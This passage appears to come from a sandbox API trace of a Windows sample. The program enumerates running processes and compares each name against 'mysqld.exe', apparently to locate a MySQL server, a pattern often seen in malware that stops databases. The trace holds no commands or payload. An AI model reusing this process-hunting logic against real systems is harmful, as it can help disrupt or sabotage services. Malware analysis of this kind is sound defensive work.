dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.735] CharLowerBuffW (in: lpsz="spoolsv.exe", cchLength=0xc | out: lpsz="spoolsv.exe") returned 0xc [0081.735] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.735] VarBstrCmp (bstrLeft="poolsv.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.735] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spoolsv.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spoolsv.exe", lpUsedDefaultChar=0x0) returned 260 [0081.735] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.736] GetLastError () returned 0x0 [0081.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="svchost.exe") returned 260 [0081.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.736] CharLowerBuffW (in: lpsz="svchost.exe", cchLength=0xc | out: lpsz="svchost.exe") returned 0xc [0081.736] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.736] VarBstrCmp (bstrLeft="vchost.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.736] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 260 [0081.736] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0081.771] GetLastError () returned 0x0 [0081.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="taskhost.exe") returned 260 [0081.771] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.771] CharLowerBuffW (in: lpsz="taskhost.exe", cchLength=0xd | out: lpsz="taskhost.exe") returned 0xd [0081.771] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.771] VarBstrCmp (bstrLeft="skhost.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exe", lpUsedDefaultChar=0x0) returned 260 [0081.772] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0081.772] GetLastError () returned 0x0 [0081.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="taskeng.exe") returned 260 [0081.772] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.772] CharLowerBuffW (in: lpsz="taskeng.exe", cchLength=0xc | out: lpsz="taskeng.exe") returned 0xc [0081.772] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.773] VarBstrCmp (bstrLeft="askeng.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskeng.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskeng.exe", lpUsedDefaultChar=0x0) returned 260 [0081.773] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ridescontains.exe")) returned 1 [0081.773] GetLastError () returned 0x0 [0081.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ridescontains.exe") returned 260 [0081.773] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.773] CharLowerBuffW (in: lpsz="ridescontains.exe", cchLength=0x12 | out: lpsz="ridescontains.exe") returned 0x12 [0081.774] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.774] VarBstrCmp (bstrLeft="ntains.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.774] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ridescontains.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ridescontains.exe", lpUsedDefaultChar=0x0) returned 260 [0081.774] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="custody.exe")) returned 1 [0081.774] GetLastError () returned 0x0 [0081.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="custody.exe") returned 260 [0081.774] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.774] CharLowerBuffW (in: lpsz="custody.exe", cchLength=0xc | out: lpsz="custody.exe") returned 0xc [0081.775] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.775] VarBstrCmp (bstrLeft="ustody.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="custody.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="custody.exe", lpUsedDefaultChar=0x0) returned 260 [0081.775] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="constraints.exe")) returned 1 [0081.775] GetLastError () returned 0x0 [0081.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="constraints.exe") returned 260 [0081.775] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.775] CharLowerBuffW (in: lpsz="constraints.exe", cchLength=0x10 | out: lpsz="constraints.exe") returned 0x10 [0081.776] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.776] VarBstrCmp (bstrLeft="raints.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.776] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="constraints.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="constraints.exe", lpUsedDefaultChar=0x0) returned 260 [0081.776] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="casting.exe")) returned 1 [0081.776] GetLastError () returned 0x0 [0081.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="casting.exe") returned 260 [0081.776] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.777] CharLowerBuffW (in: lpsz="casting.exe", cchLength=0xc | out: lpsz="casting.exe") returned 0xc [0081.777] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.777] VarBstrCmp (bstrLeft="asting.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.777] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="casting.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="casting.exe", lpUsedDefaultChar=0x0) returned 260 [0081.777] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="rack-pc.exe")) returned 1 [0081.777] GetLastError () returned 0x0 [0081.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="rack-pc.exe") returned 260 [0081.777] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x143676c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.778] CharLowerBuffW (in: lpsz="rack-pc.exe", cchLength=0xc | out: lpsz="rack-pc.exe") returned 0xc [0081.778] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.778] VarBstrCmp (bstrLeft="ack-pc.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rack-pc.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rack-pc.exe", lpUsedDefaultChar=0x0) returned 260 [0081.778] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spring.exe")) returned 1 [0081.778] GetLastError () returned 0x0 [0081.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="spring.exe") returned 260 [0081.778] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.779] CharLowerBuffW (in: lpsz="spring.exe", cchLength=0xb | out: lpsz="spring.exe") returned 0xb [0081.779] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.779] VarBstrCmp (bstrLeft="spring.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="spring.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="spring.exe", lpUsedDefaultChar=0x0) returned 260 [0081.779] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fails_incoming_foreign.exe")) returned 1 [0081.779] GetLastError () returned 0x0 [0081.779] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="fails_incoming_foreign.exe") returned 260 [0081.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.780] CharLowerBuffW (in: lpsz="fails_incoming_foreign.exe", cchLength=0x1b | out: lpsz="fails_incoming_foreign.exe") returned 0x1b [0081.780] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.780] VarBstrCmp (bstrLeft="oreign.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fails_incoming_foreign.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fails_incoming_foreign.exe", lpUsedDefaultChar=0x0) returned 260 [0081.780] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ingredientsverizonpostposted.exe")) returned 1 [0081.780] GetLastError () returned 0x0 [0081.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ingredientsverizonpostposted.exe") returned 260 [0081.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.781] CharLowerBuffW (in: lpsz="ingredientsverizonpostposted.exe", cchLength=0x21 | out: lpsz="ingredientsverizonpostposted.exe") returned 0x21 [0081.781] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.781] VarBstrCmp (bstrLeft="posted.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ingredientsverizonpostposted.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ingredientsverizonpostposted.exe", lpUsedDefaultChar=0x0) returned 260 [0081.781] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="moreinvolves.exe")) returned 1 [0081.781] GetLastError () returned 0x0 [0081.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="moreinvolves.exe") returned 260 [0081.782] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.782] CharLowerBuffW (in: lpsz="moreinvolves.exe", cchLength=0x11 | out: lpsz="moreinvolves.exe") returned 0x11 [0081.782] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.782] VarBstrCmp (bstrLeft="volves.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="moreinvolves.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="moreinvolves.exe", lpUsedDefaultChar=0x0) returned 260 [0081.782] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ordinary-multiple-commissions.exe")) returned 1 [0081.782] GetLastError () returned 0x0 [0081.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="ordinary-multiple-commissions.exe") returned 260 [0081.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.783] CharLowerBuffW (in: lpsz="ordinary-multiple-commissions.exe", cchLength=0x22 | out: lpsz="ordinary-multiple-commissions.exe") returned 0x22 [0081.783] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.783] VarBstrCmp (bstrLeft="ssions.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ordinary-multiple-commissions.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ordinary-multiple-commissions.exe", lpUsedDefaultChar=0x0) returned 260 [0081.783] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afghanistanforestryamateur.exe")) returned 1 [0081.784] GetLastError () returned 0x0 [0081.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="afghanistanforestryamateur.exe") returned 260 [0081.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.784] CharLowerBuffW (in: lpsz="afghanistanforestryamateur.exe", cchLength=0x1f | out: lpsz="afghanistanforestryamateur.exe") returned 0x1f [0081.784] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.784] VarBstrCmp (bstrLeft="mateur.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afghanistanforestryamateur.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afghanistanforestryamateur.exe", lpUsedDefaultChar=0x0) returned 260 [0081.784] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="difference.exe")) returned 1 [0081.785] GetLastError () returned 0x0 [0081.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="difference.exe") returned 260 [0081.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.785] CharLowerBuffW (in: lpsz="difference.exe", cchLength=0xf | out: lpsz="difference.exe") returned 0xf [0081.785] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.785] VarBstrCmp (bstrLeft="erence.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x0 [0081.785] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="difference.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="difference.exe", lpUsedDefaultChar=0x0) returned 260 [0081.785] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mandatory-places.exe")) returned 1 [0081.786] GetLastError () returned 0x0 [0081.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="mandatory-places.exe") returned 260 [0081.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.786] CharLowerBuffW (in: lpsz="mandatory-places.exe", cchLength=0x15 | out: lpsz="mandatory-places.exe") returned 0x15 [0081.786] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.786] VarBstrCmp (bstrLeft="places.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.786] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mandatory-places.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mandatory-places.exe", lpUsedDefaultChar=0x0) returned 260 [0081.786] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="eagles-tribute.exe")) returned 1 [0081.787] GetLastError () returned 0x0 [0081.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="eagles-tribute.exe") returned 260 [0081.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.787] CharLowerBuffW (in: lpsz="eagles-tribute.exe", cchLength=0x13 | out: lpsz="eagles-tribute.exe") returned 0x13 [0081.787] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.787] VarBstrCmp (bstrLeft="ribute.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.787] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eagles-tribute.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eagles-tribute.exe", lpUsedDefaultChar=0x0) returned 260 [0081.787] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="shoppingconnecticutwell.exe")) returned 1 [0081.788] GetLastError () returned 0x0 [0081.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="shoppingconnecticutwell.exe") returned 260 [0081.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0081.788] CharLowerBuffW (in: lpsz="shoppingconnecticutwell.exe", cchLength=0x1c | out: lpsz="shoppingconnecticutwell.exe") returned 0x1c [0081.788] CharLowerBuffW (in: lpsz="mysqld.exe", cchLength=0xb | out: lpsz="mysqld.exe") returned 0xb [0081.788] VarBstrCmp (bstrLeft="utwell.exe", bstrRight="mysqld.exe", lcid=0x0, dwFlags=0x30001) returned 0x2 [0081.788] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shoppingconnecticutwell.exe", cchWideChar=260, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shoppingconnecticutwell.exe", lpUsedDefaultChar=0x0) returned 260 [0081.788] Process32Next (in: hSnapshot=0x27c, lppe=0x18e8b0 | out: lppe=0x18e8b0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="earliest-ne-broken.exe")) returned 1 [0081.789] GetLastError () returned 0x0 [0081.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e8d4, cbMultiByte=260, lpWideCharStr=0x18eb7c, cchWideChar=260 | out: lpWideCharStr="earliest-ne-broken.exe") returned 260 [0081.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e864, cbMultiByte=1, 